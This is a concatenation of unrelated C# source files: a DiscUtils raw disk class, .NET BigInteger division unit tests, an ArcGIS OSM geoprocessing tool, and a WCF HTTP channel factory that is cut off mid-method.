if the new instance should control the lifetime of the stream.</param> /// <param name="geometry">The emulated geometry of the disk.</param> public Disk(Stream stream, Ownership ownsStream, Geometry geometry) { _file = new DiskImageFile(stream, ownsStream, geometry); } /// <summary> /// Initializes a new instance of the Disk class. /// </summary> /// <param name="path">The path to the disk image.</param> public Disk(string path) { _file = new DiskImageFile(new FileStream(path, FileMode.Open, FileAccess.ReadWrite, FileShare.None), Ownership.Dispose, null); } /// <summary> /// Initializes a new instance of the Disk class. /// </summary> /// <param name="path">The path to the disk image.</param> /// <param name="access">The access requested to the disk.</param> public Disk(string path, FileAccess access) { FileShare share = (access == FileAccess.Read) ? FileShare.Read : FileShare.None; _file = new DiskImageFile(new FileStream(path, FileMode.Open, access, share), Ownership.Dispose, null); } /// <summary> /// Initializes a new instance of the Disk class. /// </summary> /// <param name="file">The contents of the disk.</param> private Disk(DiskImageFile file) { _file = file; } /// <summary> /// Gets the geometry of the disk. /// </summary> public override Geometry Geometry { get { return _file.Geometry; } } /// <summary> /// Gets the type of disk represented by this object. /// </summary> public override VirtualDiskClass DiskClass { get { return _file.DiskType; } } /// <summary> /// Gets the capacity of the disk (in bytes). /// </summary> public override long Capacity { get { return _file.Capacity; } } /// <summary> /// Gets the content of the disk as a stream. /// </summary> /// <remarks>Note the returned stream is not guaranteed to be at any particular position. The actual position /// will depend on the last partition table/file system activity, since all access to the disk contents pass /// through a single stream instance. Set the stream position before accessing the stream.</remarks> public override SparseStream Content { get { return _file.Content; } } /// <summary> /// Gets the layers that make up the disk. /// </summary> public override IEnumerable<VirtualDiskLayer> Layers { get { yield return _file; } } /// <summary> /// Gets information about the type of disk. /// </summary> /// <remarks>This property provides access to meta-data about the disk format, for example whether the /// BIOS geometry is preserved in the disk file.</remarks> public override VirtualDiskTypeInfo DiskTypeInfo { get { return DiskFactory.MakeDiskTypeInfo(); } } /// <summary> /// Initializes a stream as an unformatted disk. /// </summary> /// <param name="stream">The stream to initialize.</param> /// <param name="ownsStream">Indicates if the new instance controls the lifetime of the stream.</param> /// <param name="capacity">The desired capacity of the new disk.</param> /// <returns>An object that accesses the stream as a disk.</returns> public static Disk Initialize(Stream stream, Ownership ownsStream, long capacity) { return Initialize(stream, ownsStream, capacity, null); } /// <summary> /// Initializes a stream as an unformatted disk. /// </summary> /// <param name="stream">The stream to initialize.</param> /// <param name="ownsStream">Indicates if the new instance controls the lifetime of the stream.</param> /// <param name="capacity">The desired capacity of the new disk.</param> /// <param name="geometry">The desired geometry of the new disk, or <c>null</c> for default.</param> /// <returns>An object that accesses the stream as a disk.</returns> public static Disk Initialize(Stream stream, Ownership ownsStream, long capacity, Geometry geometry) { return new Disk(DiskImageFile.Initialize(stream, ownsStream, capacity, geometry)); } /// <summary> /// Initializes a stream as an unformatted floppy disk. /// </summary> /// <param name="stream">The stream to initialize.</param> /// <param name="ownsStream">Indicates if the new instance controls the lifetime of the stream.</param> /// <param name="type">The type of floppy disk image to create.</param> /// <returns>An object that accesses the stream as a disk.</returns> public static Disk Initialize(Stream stream, Ownership ownsStream, FloppyDiskType type) { return new Disk(DiskImageFile.Initialize(stream, ownsStream, type)); } /// <summary> /// Create a new differencing disk, possibly within an existing disk. /// </summary> /// <param name="fileSystem">The file system to create the disk on.</param> /// <param name="path">The path (or URI) for the disk to create.</param> /// <returns>The newly created disk.</returns> public override VirtualDisk CreateDifferencingDisk(DiscFileSystem fileSystem, string path) { throw new NotSupportedException("Differencing disks not supported for raw disks"); } /// <summary> /// Create a new differencing disk. /// </summary> /// <param name="path">The path (or URI) for the disk to create.</param> /// <returns>The newly created disk.</returns> public override VirtualDisk CreateDifferencingDisk(string path) { throw new NotSupportedException("Differencing disks not supported for raw disks"); } /// <summary> /// Disposes of underlying resources. /// </summary> /// <param name="disposing">Set to <c>true</c> if called within Dispose(), /// else <c>false</c>.</param> protected override void Dispose(bool disposing) { try { if (disposing) { if (_file != null) { _file.Dispose(); } _file = null; } } finally { base.Dispose(disposing); } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using Xunit; namespace System.Numerics.Tests { public class DivideTest { private static int s_samples = 10; private static Random s_random = new Random(100); [Fact] public static void RunDivideTwoLargeBI() { byte[] tempByteArray1 = new byte[0]; byte[] tempByteArray2 = new byte[0]; // Divide Method - Two Large BigIntegers for (int i = 0; i < s_samples; i++) { tempByteArray1 = GetRandomByteArray(s_random); tempByteArray2 = GetRandomByteArray(s_random); VerifyDivideString(Print(tempByteArray1) + Print(tempByteArray2) + "bDivide"); } } [Fact] public static void RunDivideTwoSmallBI() { byte[] tempByteArray1 = new byte[0]; byte[] tempByteArray2 = new byte[0]; // Divide Method - Two Small BigIntegers for (int i = 0; i < s_samples; i++) { tempByteArray1 = GetRandomByteArray(s_random, 2); tempByteArray2 = GetRandomByteArray(s_random, 2); VerifyDivideString(Print(tempByteArray1) + Print(tempByteArray2) + "bDivide"); } } [Fact] public static void RunDivideOneLargeOneSmallBI() { byte[] tempByteArray1 = new byte[0]; byte[] tempByteArray2 = new byte[0]; // Divide Method - One large and one small BigIntegers for (int i = 0; i < s_samples; i++) { tempByteArray1 = GetRandomByteArray(s_random); tempByteArray2 = GetRandomByteArray(s_random, 2); VerifyDivideString(Print(tempByteArray1) + Print(tempByteArray2) + "bDivide"); tempByteArray1 = GetRandomByteArray(s_random, 2); tempByteArray2 = GetRandomByteArray(s_random); VerifyDivideString(Print(tempByteArray1) + Print(tempByteArray2) + "bDivide"); } } [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotWindowsSubsystemForLinux))] // https://github.com/Microsoft/BashOnWindows/issues/513 public static void RunDivideOneLargeOneZeroBI() { byte[] tempByteArray1 = new byte[0]; byte[] tempByteArray2 = new byte[0]; // Divide Method - One large BigIntegers and zero for (int i = 0; i < s_samples; i++) { tempByteArray1 = GetRandomByteArray(s_random); tempByteArray2 = new byte[] { 0 }; VerifyDivideString(Print(tempByteArray1) + Print(tempByteArray2) + "bDivide"); Assert.Throws<DivideByZeroException>(() => { VerifyDivideString(Print(tempByteArray2) + Print(tempByteArray1) + "bDivide"); }); } } [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotWindowsSubsystemForLinux))] // https://github.com/Microsoft/BashOnWindows/issues/513 public static void RunDivideOneSmallOneZeroBI() { byte[] tempByteArray1 = new byte[0]; byte[] tempByteArray2 = new byte[0]; // Divide Method - One small BigIntegers and zero for (int i = 0; i < s_samples; i++) { tempByteArray1 = GetRandomByteArray(s_random, 2); tempByteArray2 = new byte[] { 0 }; VerifyDivideString(Print(tempByteArray1) + Print(tempByteArray2) + "bDivide"); Assert.Throws<DivideByZeroException>(() => { VerifyDivideString(Print(tempByteArray2) + Print(tempByteArray1) + "bDivide"); }); } } [Fact] public static void RunDivideOneOverOne() { byte[] tempByteArray1 = new byte[0]; byte[] tempByteArray2 = new byte[0]; // Axiom: X/1 = X VerifyIdentityString(BigInteger.One + " " + Int32.MaxValue + " bDivide", Int32.MaxValue.ToString()); VerifyIdentityString(BigInteger.One + " " + Int64.MaxValue + " bDivide", Int64.MaxValue.ToString()); for (int i = 0; i < s_samples; i++) { String randBigInt = Print(GetRandomByteArray(s_random)); VerifyIdentityString(BigInteger.One + " " + randBigInt + "bDivide", randBigInt.Substring(0, randBigInt.Length - 1)); } } [Fact] public static void RunDivideZeroOverBI() { byte[] tempByteArray1 = new byte[0]; byte[] tempByteArray2 = new byte[0]; // Axiom: 0/X = 0 VerifyIdentityString(Int32.MaxValue + " " + BigInteger.Zero + " bDivide", BigInteger.Zero.ToString()); VerifyIdentityString(Int64.MaxValue + " " + BigInteger.Zero + " bDivide", BigInteger.Zero.ToString()); for (int i = 0; i < s_samples; i++) { String randBigInt = Print(GetRandomByteArray(s_random)); VerifyIdentityString(randBigInt + BigInteger.Zero + " bDivide", BigInteger.Zero.ToString()); } } [Fact] public static void RunDivideBoundary() { byte[] tempByteArray1 = new byte[0]; byte[] tempByteArray2 = new byte[0]; // Check interesting cases for boundary conditions // You'll either be shifting a 0 or 1 across the boundary // 32 bit boundary n2=0 VerifyDivideString(Math.Pow(2, 32) + " 2 bDivide"); // 32 bit boundary n1=0 n2=1 VerifyDivideString(Math.Pow(2, 33) + " 2 bDivide"); } [Fact] public static void RunOverflow() { // these values lead to an "overflow", if dividing digit by digit // we need to ensure that this case is being handled accordingly... var x = new BigInteger(new byte[] { 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0 }); var y = new BigInteger(new byte[] { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0 }); var z = new BigInteger(new byte[] { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0 }); Assert.Equal(z, BigInteger.Divide(x, y)); } private static void VerifyDivideString(string opstring) { StackCalc sc = new StackCalc(opstring); while (sc.DoNextOperation()) { Assert.Equal(sc.snCalc.Peek().ToString(), sc.myCalc.Peek().ToString()); } } private static void VerifyIdentityString(string opstring1, string opstring2) { StackCalc sc1 = new StackCalc(opstring1); while (sc1.DoNextOperation()) { //Run the full calculation sc1.DoNextOperation(); } StackCalc sc2 = new StackCalc(opstring2); while (sc2.DoNextOperation()) { //Run the full calculation sc2.DoNextOperation(); } Assert.Equal(sc1.snCalc.Peek().ToString(), sc2.snCalc.Peek().ToString()); } private static byte[] GetRandomByteArray(Random random) { return GetRandomByteArray(random, random.Next(1, 100)); } private static byte[] GetRandomByteArray(Random random, int size) { return MyBigIntImp.GetNonZeroRandomByteArray(random, size); } private static String Print(byte[] bytes) { return MyBigIntImp.Print(bytes); } } }
// (c) Copyright Esri, 2010 - 2013 // This source is subject to the Apache 2.0 License. // Please see http://www.apache.org/licenses/LICENSE-2.0.html for details. // All other rights reserved. using System; using System.Collections.Generic; using System.Text; using System.Runtime.InteropServices; using System.Resources; using ESRI.ArcGIS.Geodatabase; using ESRI.ArcGIS.Geoprocessing; using ESRI.ArcGIS.esriSystem; using System.Xml; using System.Xml.Serialization; using ESRI.ArcGIS.Geometry; using ESRI.ArcGIS.DataSourcesGDB; using System.IO; using System.Reflection; using ESRI.ArcGIS.DataSourcesFile; using ESRI.ArcGIS.Carto; using ESRI.ArcGIS.Display; using ESRI.ArcGIS.OSM.OSMClassExtension; namespace ESRI.ArcGIS.OSM.GeoProcessing { [Guid("75e2c8f2-c54e-4bc6-84d8-b52a853f5fda")] [ClassInterface(ClassInterfaceType.None)] [ProgId("OSMEditor.OSMGPRemoveExtension")] public class OSMGPRemoveExtension : ESRI.ArcGIS.Geoprocessing.IGPFunction2 { string m_DisplayName = String.Empty; int in_osmFeaturesNumber, out_osmFeaturesNumber; ResourceManager resourceManager = null; OSMGPFactory osmGPFactory = null; public OSMGPRemoveExtension() { resourceManager = new ResourceManager("ESRI.ArcGIS.OSM.GeoProcessing.OSMGPToolsStrings", this.GetType().Assembly); osmGPFactory = new OSMGPFactory(); } #region "IGPFunction2 Implementations" public ESRI.ArcGIS.esriSystem.UID DialogCLSID { get { return default(ESRI.ArcGIS.esriSystem.UID); } } public string DisplayName { get { if (String.IsNullOrEmpty(m_DisplayName)) { m_DisplayName = osmGPFactory.GetFunctionName(OSMGPFactory.m_RemoveExtensionName).DisplayName; } return m_DisplayName; } } public void Execute(ESRI.ArcGIS.esriSystem.IArray paramvalues, ESRI.ArcGIS.esriSystem.ITrackCancel TrackCancel, ESRI.ArcGIS.Geoprocessing.IGPEnvironmentManager envMgr, ESRI.ArcGIS.Geodatabase.IGPMessages message) { try { IGPUtilities3 gpUtilities3 = new GPUtilitiesClass(); if (TrackCancel == null) { TrackCancel = new CancelTrackerClass(); } IGPParameter inputFeatureClassParameter = paramvalues.get_Element(in_osmFeaturesNumber) as IGPParameter; IGPValue inputFeatureGPValue = gpUtilities3.UnpackGPValue(inputFeatureClassParameter) as IGPValue; IFeatureClass osmFeatureClass = null; IQueryFilter queryFilter = null; gpUtilities3.DecodeFeatureLayer(inputFeatureGPValue, out osmFeatureClass, out queryFilter); ((ITable)osmFeatureClass).RemoveOSMClassExtension(); } catch (Exception ex) { message.AddError(120057, ex.Message); } } public ESRI.ArcGIS.esriSystem.IName FullName { get { IName fullName = null; if (osmGPFactory != null) { fullName = osmGPFactory.GetFunctionName(OSMGPFactory.m_RemoveExtensionName) as IName; } return fullName; } } public object GetRenderer(ESRI.ArcGIS.Geoprocessing.IGPParameter pParam) { return default(object); } public int HelpContext { get { return default(int); } } public string HelpFile { get { return default(string); } } public bool IsLicensed() { return true; } public string MetadataFile { get { string metadafile = "osmgpremoveextension.xml"; try { string[] languageid = System.Threading.Thread.CurrentThread.CurrentUICulture.Name.Split("-".ToCharArray()); string ArcGISInstallationLocation = OSMGPFactory.GetArcGIS10InstallLocation(); string localizedMetaDataFileShort = ArcGISInstallationLocation + System.IO.Path.DirectorySeparatorChar.ToString() + "help" + System.IO.Path.DirectorySeparatorChar.ToString() + "gp" + System.IO.Path.DirectorySeparatorChar.ToString() + "osmgpremoveextension_" + languageid[0] + ".xml"; string localizedMetaDataFileLong = ArcGISInstallationLocation + System.IO.Path.DirectorySeparatorChar.ToString() + "help" + System.IO.Path.DirectorySeparatorChar.ToString() + "gp" + System.IO.Path.DirectorySeparatorChar.ToString() + "osmgpremoveextension_" + System.Threading.Thread.CurrentThread.CurrentUICulture.Name + ".xml"; if (System.IO.File.Exists(localizedMetaDataFileShort)) { metadafile = localizedMetaDataFileShort; } else if (System.IO.File.Exists(localizedMetaDataFileLong)) { metadafile = localizedMetaDataFileLong; } } catch { } return metadafile; } } public string Name { get { return OSMGPFactory.m_RemoveExtensionName; } } public ESRI.ArcGIS.esriSystem.IArray ParameterInfo { get { IArray parameters = new ArrayClass(); IGPParameterEdit3 inputOSMFeatureLayer = new GPParameterClass() as IGPParameterEdit3; inputOSMFeatureLayer.Name = "in_osmfeatures"; inputOSMFeatureLayer.DisplayName = resourceManager.GetString("GPTools_OSMGPRemoveExtension_inputlayer_displayname"); inputOSMFeatureLayer.ParameterType = esriGPParameterType.esriGPParameterTypeRequired; inputOSMFeatureLayer.Direction = esriGPParameterDirection.esriGPParameterDirectionInput; inputOSMFeatureLayer.DataType = new GPFeatureLayerTypeClass(); in_osmFeaturesNumber = 0; parameters.Add((IGPParameter) inputOSMFeatureLayer); IGPParameterEdit3 outputOSMFeatureLayer = new GPParameterClass() as IGPParameterEdit3; outputOSMFeatureLayer.Name = "out_osmfeatures"; outputOSMFeatureLayer.DisplayName = resourceManager.GetString("GPTools_OSMGPRemoveExtension_outputlayer_displayname"); outputOSMFeatureLayer.ParameterType = esriGPParameterType.esriGPParameterTypeDerived; outputOSMFeatureLayer.Direction = esriGPParameterDirection.esriGPParameterDirectionOutput; outputOSMFeatureLayer.DataType = new GPFeatureLayerTypeClass(); outputOSMFeatureLayer.AddDependency("in_osmfeatures"); out_osmFeaturesNumber = 1; parameters.Add((IGPParameter) outputOSMFeatureLayer); return parameters; } } public void UpdateMessages(ESRI.ArcGIS.esriSystem.IArray paramvalues, ESRI.ArcGIS.Geoprocessing.IGPEnvironmentManager pEnvMgr, ESRI.ArcGIS.Geodatabase.IGPMessages Messages) { IGPUtilities3 gpUtilities3 = new GPUtilitiesClass(); IGPParameter inputFCParameter = paramvalues.get_Element(in_osmFeaturesNumber) as IGPParameter; IGPValue osmFCGPValue = gpUtilities3.UnpackGPValue(inputFCParameter); if (osmFCGPValue.IsEmpty()) { return; } IFeatureClass osmFeatureClass = null; IQueryFilter queryFilter = null; if (osmFCGPValue is IGPFeatureLayer) { gpUtilities3.DecodeFeatureLayer(osmFCGPValue, out osmFeatureClass, out queryFilter); if (osmFeatureClass.EXTCLSID != null) { UID osmEditorExtensionCLSID = osmFeatureClass.EXTCLSID; if (osmEditorExtensionCLSID.Value.ToString().Equals("{65CA4847-8661-45eb-8E1E-B2985CA17C78}", StringComparison.InvariantCultureIgnoreCase) == false) { Messages.ReplaceError(in_osmFeaturesNumber, -1, resourceManager.GetString("GPTools_OSMGPRemoveExtension_noEXTCLSID")); } } else { Messages.ReplaceError(in_osmFeaturesNumber, -1, resourceManager.GetString("GPTools_OSMGPRemoveExtension_noEXTCLSID")); } } } public void UpdateParameters(ESRI.ArcGIS.esriSystem.IArray paramvalues, ESRI.ArcGIS.Geoprocessing.IGPEnvironmentManager pEnvMgr) { } public ESRI.ArcGIS.Geodatabase.IGPMessages Validate(ESRI.ArcGIS.esriSystem.IArray paramvalues, bool updateValues, ESRI.ArcGIS.Geoprocessing.IGPEnvironmentManager envMgr) { return default(ESRI.ArcGIS.Geodatabase.IGPMessages); } #endregion } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Diagnostics.Contracts; using System.Globalization; using System.IdentityModel.Selectors; using System.Net; using System.Net.Http; using System.Net.Http.Headers; using System.Net.Security; using System.Runtime; using System.Runtime.CompilerServices; using System.Security; using System.Security.Cryptography; using System.Security.Principal; using System.ServiceModel.Description; using System.ServiceModel.Diagnostics; using System.ServiceModel.Security; using System.ServiceModel.Security.Tokens; using System.Text; using System.Threading; using System.Threading.Tasks; using SecurityUtils = System.ServiceModel.Security.SecurityUtils; namespace System.ServiceModel.Channels { internal class HttpChannelFactory<TChannel> : TransportChannelFactory<TChannel>, IHttpTransportFactorySettings { private static CacheControlHeaderValue s_requestCacheHeader = new CacheControlHeaderValue { NoCache = true, MaxAge = new TimeSpan(0) }; protected readonly ClientWebSocketFactory _clientWebSocketFactory; private bool _allowCookies; private AuthenticationSchemes _authenticationScheme; private HttpCookieContainerManager _httpCookieContainerManager; private HttpClient _httpClient; private volatile MruCache<string, string> _credentialHashCache; private volatile MruCache<string, HttpClient> _httpClientCache; private int _maxBufferSize; private SecurityCredentialsManager _channelCredentials; private SecurityTokenManager _securityTokenManager; private TransferMode _transferMode; private ISecurityCapabilities _securityCapabilities; private WebSocketTransportSettings _webSocketSettings; private bool _useDefaultWebProxy; private Lazy<string> _webSocketSoapContentType; private SHA512 _hashAlgorithm; internal HttpChannelFactory(HttpTransportBindingElement bindingElement, BindingContext context) : base(bindingElement, context, HttpTransportDefaults.GetDefaultMessageEncoderFactory()) { // validate setting interactions if (bindingElement.TransferMode == TransferMode.Buffered) { if (bindingElement.MaxReceivedMessageSize > int.MaxValue) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError( new ArgumentOutOfRangeException("bindingElement.MaxReceivedMessageSize", SR.MaxReceivedMessageSizeMustBeInIntegerRange)); } if (bindingElement.MaxBufferSize != bindingElement.MaxReceivedMessageSize) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgument("bindingElement", SR.MaxBufferSizeMustMatchMaxReceivedMessageSize); } } else { if (bindingElement.MaxBufferSize > bindingElement.MaxReceivedMessageSize) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgument("bindingElement", SR.MaxBufferSizeMustNotExceedMaxReceivedMessageSize); } } if (TransferModeHelper.IsRequestStreamed(bindingElement.TransferMode) && bindingElement.AuthenticationScheme != AuthenticationSchemes.Anonymous) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgument("bindingElement", SR.HttpAuthDoesNotSupportRequestStreaming); } _allowCookies = bindingElement.AllowCookies; if (_allowCookies) { _httpCookieContainerManager = new HttpCookieContainerManager(); } if (!bindingElement.AuthenticationScheme.IsSingleton()) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgument("value", SR.Format(SR.HttpRequiresSingleAuthScheme, bindingElement.AuthenticationScheme)); } _authenticationScheme = bindingElement.AuthenticationScheme; _maxBufferSize = bindingElement.MaxBufferSize; _transferMode = bindingElement.TransferMode; _useDefaultWebProxy = bindingElement.UseDefaultWebProxy; _channelCredentials = context.BindingParameters.Find<SecurityCredentialsManager>(); _securityCapabilities = bindingElement.GetProperty<ISecurityCapabilities>(context); _webSocketSettings = WebSocketHelper.GetRuntimeWebSocketSettings(bindingElement.WebSocketSettings); _clientWebSocketFactory = ClientWebSocketFactory.GetFactory(); _webSocketSoapContentType = new Lazy<string>(() => MessageEncoderFactory.CreateSessionEncoder().ContentType, LazyThreadSafetyMode.ExecutionAndPublication); } public bool AllowCookies { get { return _allowCookies; } } public AuthenticationSchemes AuthenticationScheme { get { return _authenticationScheme; } } public virtual bool IsChannelBindingSupportEnabled { get { return false; } } public SecurityTokenManager SecurityTokenManager { get { return _securityTokenManager; } } public int MaxBufferSize { get { return _maxBufferSize; } } public TransferMode TransferMode { get { return _transferMode; } } public override string Scheme { get { return UriEx.UriSchemeHttp; } } public WebSocketTransportSettings WebSocketSettings { get { return _webSocketSettings; } } internal string WebSocketSoapContentType { get { return _webSocketSoapContentType.Value; } } private HashAlgorithm HashAlgorithm { [SecurityCritical] get { if (_hashAlgorithm == null) { _hashAlgorithm = SHA512.Create(); } else { _hashAlgorithm.Initialize(); } return _hashAlgorithm; } } protected ClientWebSocketFactory ClientWebSocketFactory { get { return _clientWebSocketFactory; } } public override T GetProperty<T>() { if (typeof(T) == typeof(ISecurityCapabilities)) { return (T)(object)_securityCapabilities; } if (typeof(T) == typeof(IHttpCookieContainerManager)) { return (T)(object)GetHttpCookieContainerManager(); } return base.GetProperty<T>(); } private HttpCookieContainerManager GetHttpCookieContainerManager() { return _httpCookieContainerManager; } internal async Task<HttpClient> GetHttpClientAsync(EndpointAddress to, SecurityTokenProviderContainer tokenProvider, SecurityTokenContainer clientCertificateToken, CancellationToken cancellationToken) { var impersonationLevelWrapper = new OutWrapper<TokenImpersonationLevel>(); var authenticationLevelWrapper = new OutWrapper<AuthenticationLevel>(); NetworkCredential credential = await HttpChannelUtilities.GetCredentialAsync(_authenticationScheme, tokenProvider, impersonationLevelWrapper, authenticationLevelWrapper, cancellationToken); return GetHttpClient(to, credential, impersonationLevelWrapper.Value, authenticationLevelWrapper.Value, clientCertificateToken); } internal HttpClient GetHttpClient(EndpointAddress to, NetworkCredential credential, TokenImpersonationLevel impersonationLevel, AuthenticationLevel authenticationLevel, SecurityTokenContainer clientCertificateToken) { if (_httpClientCache == null) { lock (ThisLock) { if (_httpClientCache == null) { _httpClientCache = new MruCache<string, HttpClient>(10); } } } HttpClient httpClient; string connectionGroupName = GetConnectionGroupName(credential, authenticationLevel, impersonationLevel, clientCertificateToken); X509CertificateEndpointIdentity remoteCertificateIdentity = to.Identity as X509CertificateEndpointIdentity; if (remoteCertificateIdentity != null) { connectionGroupName = string.Format(CultureInfo.InvariantCulture, "{0}[{1}]", connectionGroupName, remoteCertificateIdentity.Certificates[0].Thumbprint); } connectionGroupName = connectionGroupName == null ? string.Empty : connectionGroupName; lock (_httpClientCache) { if (!_httpClientCache.TryGetValue(connectionGroupName, out httpClient)) { var clientHandler = GetHttpMessageHandler(to, clientCertificateToken); clientHandler.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip; clientHandler.UseCookies = _allowCookies; if (_allowCookies) { clientHandler.CookieContainer = _httpCookieContainerManager.CookieContainer; } clientHandler.PreAuthenticate = true; if (clientHandler.SupportsProxy) { clientHandler.UseProxy = _useDefaultWebProxy; } clientHandler.UseDefaultCredentials = false; if (credential == CredentialCache.DefaultCredentials) { clientHandler.UseDefaultCredentials = true; } else { clientHandler.Credentials = credential; } httpClient = new HttpClient(clientHandler); // We provide our own CancellationToken for each request. Setting HttpClient.Timeout to -1 // prevents a call to CancellationToken.CancelAfter that HttpClient does internally which // causes TimerQueue contention at high load. httpClient.Timeout = Timeout.InfiniteTimeSpan; _httpClientCache.Add(connectionGroupName, httpClient); } } return httpClient; } internal virtual ServiceModelHttpMessageHandler GetHttpMessageHandler(EndpointAddress to, SecurityTokenContainer clientCertificateToken) { return new ServiceModelHttpMessageHandler(); } internal ICredentials GetCredentials() { ICredentials creds = null; if (_authenticationScheme != AuthenticationSchemes.Anonymous) { creds = CredentialCache.DefaultCredentials; ClientCredentials credentials = _channelCredentials as ClientCredentials; if (credentials != null) { switch (_authenticationScheme) { case AuthenticationSchemes.Basic: if (credentials.UserName.UserName == null) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("userName"); } if (credentials.UserName.UserName == string.Empty) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgument(SR.UserNameCannotBeEmpty); } creds = new NetworkCredential(credentials.UserName.UserName, credentials.UserName.Password); break; case AuthenticationSchemes.Digest: if (credentials.HttpDigest.ClientCredential.UserName != string.Empty) { creds = credentials.HttpDigest.ClientCredential; } break; case AuthenticationSchemes.Ntlm: goto case AuthenticationSchemes.Negotiate; case AuthenticationSchemes.Negotiate: if (credentials.Windows.ClientCredential.UserName != string.Empty) { creds = credentials.Windows.ClientCredential; } break; } } } return creds; } internal Exception CreateToMustEqualViaException(Uri to, Uri via) { return new ArgumentException(SR.Format(SR.HttpToMustEqualVia, to, via)); } public override int GetMaxBufferSize() { return MaxBufferSize; } private SecurityTokenProviderContainer CreateAndOpenTokenProvider(TimeSpan timeout, AuthenticationSchemes authenticationScheme, EndpointAddress target, Uri via, ChannelParameterCollection channelParameters) { SecurityTokenProvider tokenProvider = null; switch (authenticationScheme) { case AuthenticationSchemes.Anonymous: break; case AuthenticationSchemes.Basic: tokenProvider = TransportSecurityHelpers.GetUserNameTokenProvider(SecurityTokenManager, target, via, Scheme, authenticationScheme, channelParameters); break; case AuthenticationSchemes.Negotiate: case AuthenticationSchemes.Ntlm: tokenProvider = TransportSecurityHelpers.GetSspiTokenProvider(SecurityTokenManager, target, via, Scheme, authenticationScheme, channelParameters); break; case AuthenticationSchemes.Digest: tokenProvider = TransportSecurityHelpers.GetDigestTokenProvider(SecurityTokenManager, target, via, Scheme, authenticationScheme, channelParameters); break; default: // The setter for this property should prevent this. throw Fx.AssertAndThrow("CreateAndOpenTokenProvider: Invalid authentication scheme"); } SecurityTokenProviderContainer result; if (tokenProvider != null) { result = new SecurityTokenProviderContainer(tokenProvider); result.Open(timeout); } else { result = null; } return result; } protected virtual void ValidateCreateChannelParameters(EndpointAddress remoteAddress, Uri via) { if (string.Compare(via.Scheme, "ws", StringComparison.OrdinalIgnoreCase) != 0) { ValidateScheme(via); } if (MessageVersion.Addressing == AddressingVersion.None && remoteAddress.Uri != via) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(CreateToMustEqualViaException(remoteAddress.Uri, via)); } } protected override TChannel OnCreateChannel(EndpointAddress remoteAddress, Uri via) { if (typeof(TChannel) != typeof(IRequestChannel)) { remoteAddress = remoteAddress != null && !WebSocketHelper.IsWebSocketUri(remoteAddress.Uri) ? new EndpointAddress(WebSocketHelper.NormalizeHttpSchemeWithWsScheme(remoteAddress.Uri), remoteAddress) : remoteAddress; via = !WebSocketHelper.IsWebSocketUri(via) ? WebSocketHelper.NormalizeHttpSchemeWithWsScheme(via) : via; } return OnCreateChannelCore(remoteAddress, via); } protected virtual TChannel OnCreateChannelCore(EndpointAddress remoteAddress, Uri via) { ValidateCreateChannelParameters(remoteAddress, via); ValidateWebSocketTransportUsage(); if (typeof(TChannel) == typeof(IRequestChannel)) { return (TChannel)(object)new HttpClientRequestChannel((HttpChannelFactory<IRequestChannel>)(object)this, remoteAddress, via, ManualAddressing); } else { return (TChannel)(object)new ClientWebSocketTransportDuplexSessionChannel((HttpChannelFactory<IDuplexSessionChannel>)(object)this, _clientWebSocketFactory, remoteAddress, via); } } protected void ValidateWebSocketTransportUsage() { Type channelType = typeof(TChannel); if (channelType == typeof(IRequestChannel) && WebSocketSettings.TransportUsage == WebSocketTransportUsage.Always) { throw FxTrace.Exception.AsError(new InvalidOperationException(SR.Format( SR.WebSocketCannotCreateRequestClientChannelWithCertainWebSocketTransportUsage, typeof(TChannel), WebSocketTransportSettings.TransportUsageMethodName, typeof(WebSocketTransportSettings).Name, WebSocketSettings.TransportUsage))); } if (channelType == typeof(IDuplexSessionChannel)) { if (WebSocketSettings.TransportUsage == WebSocketTransportUsage.Never) { throw FxTrace.Exception.AsError(new InvalidOperationException(SR.Format( SR.WebSocketCannotCreateRequestClientChannelWithCertainWebSocketTransportUsage, typeof(TChannel), WebSocketTransportSettings.TransportUsageMethodName, typeof(WebSocketTransportSettings).Name, WebSocketSettings.TransportUsage))); } } } [MethodImpl(MethodImplOptions.NoInlining)] private void InitializeSecurityTokenManager() { if (_channelCredentials == null) { _channelCredentials = ClientCredentials.CreateDefaultCredentials(); } _securityTokenManager = _channelCredentials.CreateSecurityTokenManager(); } protected virtual bool IsSecurityTokenManagerRequired() { return _authenticationScheme != AuthenticationSchemes.Anonymous; } protected override IAsyncResult OnBeginOpen(TimeSpan timeout, AsyncCallback callback, object state) { return OnOpenAsync(timeout).ToApm(callback, state); } protected override void OnEndOpen(IAsyncResult result) { result.ToApmEnd(); } protected override void OnOpen(TimeSpan timeout) { if (IsSecurityTokenManagerRequired()) { InitializeSecurityTokenManager(); } if (AllowCookies && !_httpCookieContainerManager.IsInitialized) // We don't want to overwrite the CookieContainer if someone has set it already. { _httpCookieContainerManager.CookieContainer = new CookieContainer(); } } internal protected override Task OnOpenAsync(TimeSpan timeout) { OnOpen(timeout); return TaskHelpers.CompletedTask(); } protected internal override Task OnCloseAsync(TimeSpan timeout) { return base.OnCloseAsync(timeout); } protected override void OnClosed() { base.OnClosed(); var httpClientToDispose = _httpClient; if (httpClientToDispose != null) { _httpClient = null; httpClientToDispose.Dispose(); } } private string AppendWindowsAuthenticationInfo(string inputString, NetworkCredential credential, AuthenticationLevel authenticationLevel, TokenImpersonationLevel impersonationLevel) { return SecurityUtils.AppendWindowsAuthenticationInfo(inputString, credential, authenticationLevel, 